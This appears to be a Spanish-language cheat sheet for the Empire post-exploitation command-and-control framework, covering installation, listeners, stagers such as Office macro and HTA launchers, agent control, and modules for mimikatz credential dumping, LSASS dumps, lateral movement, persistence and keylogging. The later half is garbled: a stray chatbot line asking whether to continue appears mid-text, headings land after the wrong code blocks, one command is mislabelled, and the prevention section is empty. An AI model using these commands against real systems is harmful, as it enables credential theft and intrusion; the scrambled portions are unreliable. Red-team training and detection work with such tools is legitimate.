Ir al contenido

Hoja de Referencia de Empire Framework

Descripción General

Empire es un framework de post-explotación que incluye un agente Windows de PowerShell 2.0 puro y un agente Linux/macOS de Python 3 puro. Proporciona una infraestructura de comando y control (C2) potente para operaciones de red team, pruebas de penetración y emulación de adversarios.

⚠️ Advertencia: Empire es una herramienta de pruebas de seguridad que solo debe usarse en entornos donde se tenga permiso explícito para hacerlo.

Instalación

Desde GitHub

# Clone the repository
git clone https://github.com/BC-SECURITY/Empire.git

# Navigate to the directory
cd Empire

# Run the installation script
sudo ./setup/install.sh

Usando Docker

# Pull the Docker image
docker pull bcsecurity/empire:latest

# Run the container
docker run -it -p 1337:1337 -p 5000:5000 bcsecurity/empire:latest

En Kali Linux

# Install from package manager
sudo apt update
sudo apt install powershell-empire

Uso Básico

Iniciando Empire

# Start the Empire server
sudo empire

# Start with REST API (for Starkiller)
sudo empire --rest --username <username> --password <password>

Usando Starkiller (GUI)

# Install Starkiller
npm install -g @starkiller/starkiller

# Run Starkiller
starkiller
ComandoDescripción
helpMostrar menú de ayuda
menuVolver al menú principal
backVolver al nivel de menú anterior
exitSalir del Imperio
usemodule <module>Selecciona un módulo para usar
usestager <stager>Selecciona un stager para usar
uselistener <listener>Selecciona un listener para usar
interact <agent>Interactuar con un agente
searchmodule <term>Buscar módulos

Listeners

Creando un Listener

# In Empire CLI
listeners
uselistener http
set Name http_listener
set Host 192.168.1.100
set Port 8080
execute

Opciones Comunes de Listener

OpciónDescripción
NameNombre para el oyente
HostIP/hostname para staging
PortPuerto para el oyente
CertPathRuta de certificado para HTTPS
DefaultDelayRetraso de devolución de llamada de agente (en segundos)
DefaultJitterJitter en devoluciones de llamadas de agente (0.0-1.0)
DefaultProfilePerfil de comunicación predeterminado
KillDateFecha para que el oyente salga (MM/DD/YYYY)
WorkingHoursHoras para la devolución de llamada del agente (09:00-17:00)

Gestión de Listeners

# List all listeners
listeners

# Kill a listener
kill http_listener

# View a listener's options
info http_listener

Stagers

Generando un Stager

# In Empire CLI
usestager windows/launcher_bat
set Listener http_listener
generate

Tipos Comunes de Stagers

StagerDescripción
windows/launcher_batLanzador de archivo BAT
windows/launcher_vbsLanzador de script VBS
windows/launcher_powershellLanzador de PowerShell
multi/launcherLanzador multiplataforma
osx/launcherLanzador de macOS
linux/launcherLanzador de Linux
windows/dllLanzador de DLL
windows/macroLanzador de macros de Office
windows/htaLanzador de HTA

Agentes

Comandos de Agente

# List all agents
agents

# Interact with an agent
interact C2AGENT123

# Get agent info
info

# Execute a shell command
shell whoami

# Run a PowerShell command
powershell Get-Process

# Upload a file
upload /path/to/local/file /path/on/target

# Download a file
download /path/on/target /local/path

# Take a screenshot
screenshot

# Exit agent menu
back

Gestión de Agentes

# Rename an agent
rename C2AGENT123 new_name

# Kill an agent
kill C2AGENT123

# Remove an agent from the database
remove C2AGENT123

# Set sleep interval
sleep 30

# Set jitter percentage
sysinfo

Módulos

Usando Módulos

# List available modules
usemodule

# Search for modules
searchmodule credentials

# Use a specific module
usemodule powershell/situational_awareness/network/powerview/get_user

# Set module options
set Username administrator

# Execute the module
execute

Categorías Comunes de Módulos

Acceso a Credenciales

# Dump credentials from memory
usemodule powershell/credentials/mimikatz/logonpasswords

# Dump SAM database
usemodule powershell/credentials/sam

# Dump LSASS process
usemodule powershell/credentials/credential_injection/lsass_dump

Conciencia Situacional

# Get domain users
usemodule powershell/situational_awareness/network/powerview/get_user

# Get domain computers
usemodule powershell/situational_awareness/network/powerview/get_computer

# Get domain groups
usemodule powershell/situational_awareness/network/powerview/get_group

Movimiento Lateral

# WMI lateral movement
usemodule powershell/lateral_movement/invoke_wmi

# PSExec lateral movement
usemodule powershell/lateral_movement/invoke_psexec

# WinRM lateral movement
usemodule powershell/lateral_movement/invoke_winrm

Persistencia

# Registry persistence
usemodule powershell/persistence/userland/registry

# Scheduled task persistence
usemodule powershell/persistence/userland/schtasks

# WMI persistence
usemodule powershell/persistence/elevated/wmi

Características Avanzadas

Perfiles C2 Moldeables

Would you like me to continue with the remaining sections?```

In Empire CLI

profiles use default set DefaultProfile /path/to/profile.profile

Set agent kill date

set KillDate 01/01/2025

Set working hours

set WorkingHours 09:00-17:00

Increase agent sleep time

sleep 300 30

Use keylogging module

usemodule powershell/collection/keylogger

Use clipboard monitoring

usemodule powershell/collection/clipboard_monitor

Use screenshot module

usemodule powershell/collection/screenshot


### Problemas Comunes
```bash
   # Check if the listener is running
   listeners

   # Verify firewall settings
   sudo iptables -L

   # Check for port conflicts
   netstat -tuln|grep <port>
   ```**Problemas de Conexión**
```bash
   # Verify agent is running
   agents

   # Check for network connectivity issues
   # Verify sleep/jitter settings
   # Check module requirements
   info

   # Verify agent privileges
   shell whoami

   # Try running in a different process context
   usemodule powershell/management/psinject
   ```**Agente No Está Registrándose**
```powershell
# Enable PowerShell Script Block Logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1

# Enable PowerShell Module Logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -Name "EnableModuleLogging" -Value 1

# Enable Constrained Language Mode
$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"

https://github.com/BC-SECURITY/Empire**Fallos de Ejecución de Módulos** https://bc-security.gitbook.io/empire-wiki/

Medidas Defensivas

Métodos de Detección

  • Registro de Bloques de Script de PowerShell
  • Registro de Módulos de PowerShell
  • AMSI (Antimalware Scan Interface)
  • Análisis de tráfico de red
  • Análisis de comportamiento

Técnicas de Prevención

https://github.com/BC-SECURITY/Starkiller

Recursos